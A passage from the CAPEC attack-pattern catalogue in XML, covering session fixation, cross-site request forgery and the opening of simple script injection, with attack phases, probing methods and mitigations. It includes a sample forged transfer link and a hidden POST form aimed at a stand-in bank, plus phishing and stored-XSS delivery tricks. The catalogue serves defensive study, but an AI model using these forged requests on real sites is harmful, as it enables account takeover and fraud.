				<Method_of_Attack>Time and State</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Consider a banking application that issues a session identifier in the
							URL to a user before login, and uses the same identifier to identify the
							customer following successful authentication. An attacker can easily
							leverage session fixation to access a victim's account by having the
							victim click on a forged link that contains a valid session identifier
							from a trapped session setup by the attacker. Once the victim is
							authenticated, the attacker can take over the session and continue with
							the same levels of privilege as the victim.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker can hijack user sessions, bypass authentication controls
							and possibly gain administrative privilege by fixating the session of a
							user authenticating to the Management Console on certain versions of
							Macromedia JRun 4.0. This can be achieved by setting the session
							identifier in the user's browser and having the user authenticate to the
							Management Console. Session fixation is possible since the application
							server does not regenerate session identifiers when there is a change in
							the privilege levels.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2004-2182</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Only basic skills are required to determine and fixate session
							identifiers in a user's browser. Subsequent attacks may require greater
							skill levels depending on the attacker's motives.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Determining whether the target application server accepts preset
							session identifiers is relatively easy. The attacker may try setting
							session identifiers in the URL or hidden form fields or in cookies,
							depending upon application design. Having access to an account or by
							utilizing a dummy account, the attacker can determine whether the preset
							session identifiers are accepted or not.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>With code or design in hand, the attacker can readily verify whether
							preset session identifiers are accepted and whether identifiers are
							regenerated, and possible destroyed, when privilege levels
							change.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>There are no indicators for the server since a fixated session
							identifier is similar to an ordinarily generated one. However, too many
							invalid sessions due to invalid session identifiers is a potential
							warning.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>A client can be suspicious if a received link contains preset session
							identifiers. However, this depends on the client's knowledge of such an
							issue. Also, fixation through Cross Site Scripting or hidden form fields
							is usually difficult to detect.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use a strict session management mechanism that only accepts locally
						generated session identifiers: This prevents attackers from fixating session
						identifiers of their own choice.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Regenerate and destroy session identifiers when there is a change in the
						level of privilege: This ensures that even though a potential victim may
						have followed a link with a fixated identifier, a new one is issued when the
						level of privilege changes.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use session identifiers that are difficult to guess or brute-force: One
						way for the attackers to obtain valid session identifiers is by
						brute-forcing or guessing them. By choosing session identifiers that are
						sufficiently random, brute-forcing or guessing becomes very
						difficult.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>GET or POST data, Hidden form fields and session cookies</Text>
			</Injection_Vector>
			<Payload>
				<Text>Preset session identifier</Text>
			</Payload>
			<Activation_Zone>
				<Text>Target application's session management mechanism</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The payload activation impact is that a session identifier of the
						attacker's choice is considered valid and trust decisions by the application
						will be based on such a fixated identifier.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>384<!--Session Fixation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>361<!--Time and State--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>664<!--Improper Control of a Resource Through its Lifetime--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>21<!--Exploitation of Session Variables, Resource IDs and other Trusted Credentials--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>370<!--WASC Threat Classification 2.0 - WASC-37 - Session Fixation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Regenerate session identifiers upon each new request. This ensures that
						fixated session identifiers are rendered obsolete.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Regenerate a session identifier everytime a user enters an authenticated
						session and destroy the identifier when the user logs out of an
						authenticated session.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Set appropriate expiry times on cookies that contain session identifiers.
						This helps limit the window of opportunity for an attacker to use the
						identifier.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Do not use session identifiers as part of URLs or hidden form fields. It
						becomes easy for an attacker to trick a user into a fixated session when
						session identifiers are easily accessible.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Authenticate every transaction by requesting credentials. This ensures
						that only a legitimate user of the application can proceed with the
						transaction. If an attacker seeks to perform any such authenticated
						transaction, valid credentials will be required even though session fixation
						may have been successful earlier.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Unvalidated Input as Part of a Directive to any Internal
						Component</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>J2EE</Framework>
					<Framework>.NET</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Session Fixation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Time and State</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B Chhaya</Submitter>
						<Submission_Date>2007-01-29</Submission_Date>
						<Submission_Comment>Second Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Malik Hamro</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-27</Modification_Date>
						<Modification_Comment>Reformat to new schema and
							review</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description
							and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="62" Name="Cross Site Request Forgery (aka Session Riding)"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker crafts malicious web links and distributes them (via web
						pages, email, etc.), typically in a targeted manner, hoping to induce users
						to click on the link and execute the malicious action against some
						third-party application. If successful, the action embedded in the malicious
						link will be processed and accepted by the targeted application with the
						users' privilege level.</Text>
					<Text>This type of attack leverages the persistence and implicit trust placed in
						user session cookies by many web applications today. In such an
						architecture, once the user authenticates to an application and a session
						cookie is created on the user's system, all following transactions for that
						session are authenticated using that cookie including potential actions
						initiated by an attacker and simply "riding" the existing session
						cookie.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Explore target
											website</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker first explores the target website to
												determine pieces of functionality that are of
												interest to him (e.g. money transfers). The attacker
												will need a legitimate user account on the target
												website. It would help to have two accounts.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use web application debugging tool such as
												WebScarab, Tamper Data or TamperIE to analyze the
												information exchanged between the client and the
												server</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use network sniffing tool such as Wireshark
												to analyze the information exchanged between the
												client and the server</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>View HTML source of web pages that contain
												links or buttons that perform actions of
												interest.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker identifies at least
												one piece of interesting functionality that can be
												executed by making a single HTTP GET or POST
												request containing no session-specific
												parameters.</Outcome_Description>
											</Outcome>
											<Outcome ID="1" type="Failure">
												<Outcome_Description>Attacker cannot identify any
												functionality that can be executed without sending
												a session-specific parameter other than the cookie
												in the HTTP request.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Create a link that when clicked on, will
											execute the interesting
											functionality.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker needs to create a link that will
												execute some interesting functionality such as
												transfer money, change a password, etc.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Create a GET request containing all required
												parameters (e.g.
												https://www.somebank.com/members/transfer.asp?to=012345678901&amp;amt=10000)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Create a form that will submit a POST
												request (e.g. &lt;form method="POST"
												action="https://www.somebank.com/members/transfer.asp"&gt;&lt;input
												type="hidden" Name="to"
												value="012345678901"/&gt;&lt;input type="hidden"
												Name="amt" value="10000"/&gt;&lt;input
												type="submit"
												src="clickhere.jpg"/&gt;&lt;/form&gt;</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A link that performs an
												operation that the attacker desires when it is
												clicked.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Creating a link that performs
												an operation that the attacker desires when it is
												clicked, is impossible, because the site has
												implemented protections against
												CSRF.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Include a unique HTTP
												parameter value in forms every time they are sent
												to the client. Verify that the expected value is
												in the response received from the client. In this
												case, the attacker will not have access to the
												correct parameter value for another user, and
												thus, will not be able to create forged
												requests.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Check HTTP referrer
												for each request to ensure that it is from the
												expected site. Note that if the site is vulnerable
												to XSS, then the attacker will be able to bypass
												this.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Convince user to click on
											link</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Finally, the attacker needs to convince a user
												that is logged into the target website to click on a
												link to execute the CSRF attack.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Execute a phishing attack and send the user
												an e-mail convincing him to click on a
												link.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Execute a stored XSS attack on a website to
												permanently embed the malicious link into the
												website.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Execute a stored XSS attack on a website
												where a XMLHTTPRequest object will automatically
												execute the attack as soon as a user visits the
												page. This removes the step of convincing a user
												to click on a link.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Include the malicious link on the attacker's
												own website where the user may have to click on
												the link, or where an XMLHTTPRequest object may
												automatically execute the attack when a user
												visits the site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A user executes the malicious
												link crafted by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Failure outcome in previous
												step.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking CSRF links through forums or other web
												postings, their web browsers will be providing
												Referer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Corrective">
												<Security_Control_Description>Deny requests and
												invalidate session IDs for requests that contain
												unexpected referrers. Note that this will not
												protect against cases where the target website is
												also vulnerable to cross site
												scripting.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>While a user is logged into his bank account, an attacker can send an
							email with some potentially interesting content and require the user to
							click on a link in the email.</Text>
						<Text>The link points to or contains an attacker setup script, probably even
							within an iFrame, that mimicks an actual user form submission to perform
							a malicious activity, such as transferring funds from the victim's
							account.</Text>
						<Text>The attacker can have the script embedded in, or targeted by, the link
							perform any arbitrary action as the authenticated user. When this script
							is executed, the targeted application authenticates and accepts the
							actions based on the victims existing session cookie.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>Cross-site request forgery (CSRF) vulnerability in util.pl in
								@Mail WebMail 4.51 allows remote attackers to modify arbitrary
								settings and perform unauthorized actions as an arbitrary user, as
								demonstrated using a settings action in the SRC attribute of an IMG
								element in an HTML e-mail.</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to figure out the exact invocation of the targeted
							malicious action and then craft a link that performs the said action.
							Having the user click on such a link is often accomplished by sending an
							email or posting such a link to a bulletin board or the likes.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>All the attacker needs is the exact representation of requests to be made to
					the application and to be able to get the malicious link across to a
					victim.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can observe the way the application accepts requests for
							actions. If the application uses a persistent cookie, a non-random
							identifier or any such static identification token that does not change
							with every request, the attack is fairly straightforward to
							accomplish</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>In order to obfuscate the actual URL and its contents passed to the
							victim, the attacker can employ a service such as TinyURL and optionally
							redirect the request to the actual malicious script</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use cryptographic tokens to associate a request with a specific action.
						The token can be regenerated at every request so that if a request with an
						invalid token is encountered, it can be reliably discarded. The token is
						considered invalid if it arrived with a request other than the action it was
						supposed to be associated with.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Although less reliable, the use of the optional HTTP Referer header can
						also be used to determine whether an incoming request was actually one that
						the user is authorized for, in the current context.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Additionally, the user can also be prompted to confirm an action every
						time an action concerning potentially sensitive data is invoked. This way,
						even if the attacker manages to get the user to click on a malicious link
						and request the desired action, the user has a chance to recover by denying
						confirmation. This solution is also implicitly tied to using a second factor
						of authentication before performing such actions.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>In general, every request must be checked for the appropriate
						authentication token as well as authorization in the current session
						context.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>352<!--Cross-Site Request Forgery (CSRF)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>306<!--Missing Authentication for Critical Function--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>664<!--Improper Control of a Resource Through its Lifetime--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>716<!--OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>21<!--Exploitation of Session Variables, Resource IDs and other Trusted Credentials--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>342<!--WASC Threat Classification 2.0 - WASC-09 - Cross-Site Request Forgery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense In Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authorization Mechanisms Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>J2EE</Framework>
					<Framework>.NET</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>"Session Riding: A Widespread Vulnerability in Today's Web
							Applications", Thomas Schreiber, SecureNet GmbH, Dec 2004.
							http://www.securenet.de/papers/Session_Riding.pdf</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B.Chhaya</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description
							and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="63" Name="Simple Script Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker embeds malicious scripts in content that will be served to web
						browsers. The goal of the attack is for the target software, the client-side
						browser, to execute the script with the users' privilege level.</Text>
					<Text>An attack of this type exploits a programs' vulnerabilities that are
						brought on by allowing remote hosts to execute code and scripts. Web
						browsers, for example, have some simple security controls in place, but if a
						remote attacker is allowed to execute scripts (through injecting them in to
						user-generated content like bulletin boards) then these controls may be
						bypassed. Further, these attacks are very difficult for an end user to
						detect.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the application for
											user-controllable inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links and actions on a web site.
												He records all the links, the forms, the resources
												accessed and all other potential entry-points for
												the web application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links and analyze the web pages to find entry
												points. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inputs are used by the application or the
												browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
